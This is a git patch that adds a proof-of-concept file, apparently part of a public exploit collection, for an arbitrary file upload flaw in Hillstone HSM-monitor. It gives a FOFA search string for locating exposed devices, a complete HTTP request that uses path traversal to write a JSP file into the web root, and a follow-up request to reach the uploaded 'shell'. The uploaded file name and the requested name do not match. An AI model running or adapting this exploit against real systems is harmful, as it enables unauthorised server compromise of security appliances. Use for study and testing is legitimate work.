From 9f80d4a99e2028378c0d90d1853d0e7b360803a1 Mon Sep 17 00:00:00 2001
From: Rainyseason <73454853+Rainyseason-c@users.noreply.github.com>
Date: Mon, 1 Sep 2025 15:59:01 +0800
Subject: [PATCH] =?UTF-8?q?Create=20=E5=B1=B1=E7=9F=B3=E7=BD=91=E7=A7=91HS?=
 =?UTF-8?q?M-monitor=E5=AD=98=E5=9C=A8=E4=BB=BB=E6=84=8F=E6=96=87=E4=BB=B6?=
 =?UTF-8?q?=E4=B8=8A=E4=BC=A0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...�网科HSM-monitor存在任意文件上传 | 31 +++++++++++++++++++
 1 file changed, 31 insertions(+)
 create mode 100644 wpoc/山石网科/山石网科HSM-monitor存在任意文件上传

diff --git a/wpoc/山石网科/山石网科HSM-monitor存在任意文件上传 b/wpoc/山石网科/山石网科HSM-monitor存在任意文件上传
new file mode 100644
index 0000000..8b478ca
--- /dev/null
+++ b/wpoc/山石网科/山石网科HSM-monitor存在任意文件上传
@@ -0,0 +1,31 @@
+# 山石网科HSM-monitor存在任意文件上传
+
+山石网科存在任意文件上传漏洞，可以获取服务器权限
+
+## fofa
+
+```javascript
+body="login_hsm-all.css"
+```
+
+## poc
+
+```javascript
+POST /ft//stoneos/monitor?sn=1&fileName=../../../../hsmprogram/service/application/WebDaemon/errors/2.jsp HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
+
+------WebKitFormBoundaryABC123
+Content-Disposition: form-data; name="data"; filename="1.txt"
+Content-Type: text/plain
+
+<% out.println("202cb962ac59075b964b07152d234b70");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
+------WebKitFormBoundaryABC123--
+```
+文件上传访问shll地址
+```javascript
+GET /errors/2111.jsp HTTP/1.1
+Host: 
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
+```